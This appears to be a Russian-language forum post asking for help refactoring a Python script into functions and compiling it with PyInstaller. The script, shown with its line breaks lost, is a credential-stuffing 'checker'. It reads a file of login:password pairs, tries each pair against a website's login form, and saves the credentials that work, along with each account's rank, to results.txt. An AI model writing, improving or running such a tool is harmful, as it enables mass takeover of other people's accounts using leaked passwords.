Подскажите, как сделать его более читабельным и разбить на фукнции для последующей компиляции через pyinstaller.
import requests from datetime import date from getpass import getpass from bs4 import BeautifulSoup from pyfiglet import figlet_format # # today = date.today() # print(figlet_format("NAME", font= "roman")) print("\nEnter the file name with log:pass:\n") logins_file = input('') print("Start Checking...") # file_data = open(logins_file).read().split('\n') # file_results = open('results.txt', 'a+', encoding='utf-8', errors='ignore') file_results.write("\n" + f'[ {today} ]' + "\n\n\n") file_results.close() # count = 0 # for account in file_data: # username = account.split(":")[0] password = account.split(":")[1] # session = requests.Session() # r = session.post('//URL.URL', timeout=100,data={'username': username, 'password': password}) soup_login = BeautifulSoup(r.text, "html.parser") successfully = soup_login.find('div', attrs={'class': 'box-info-detail no-top-radius'}).text if 'You have successfully logged in.' in successfully: r = session.get("//URL.URL", timeout=100) soup_status = BeautifulSoup(r.text, "html.parser") ul = soup_status.find_all("ul", "category-list", limit=1) for span in ul: count += 1 print(f"Account #{count} | VALIDE |") file_results = open('results.txt', 'a+', encoding='utf-8', errors='ignore') file_results.write("Username: " + username + "\nPassword: " + password + "\nUser rank: " + span.select("li > span")[1].text + '\n===========================\n') file_results.close() else: count += 1 print(f"Account #{count} | NE VALIDE |") # print("\nThe software has finished work.\nThe results are in the file: results.txt\n\nPress ENTER to close the software.") getpass('')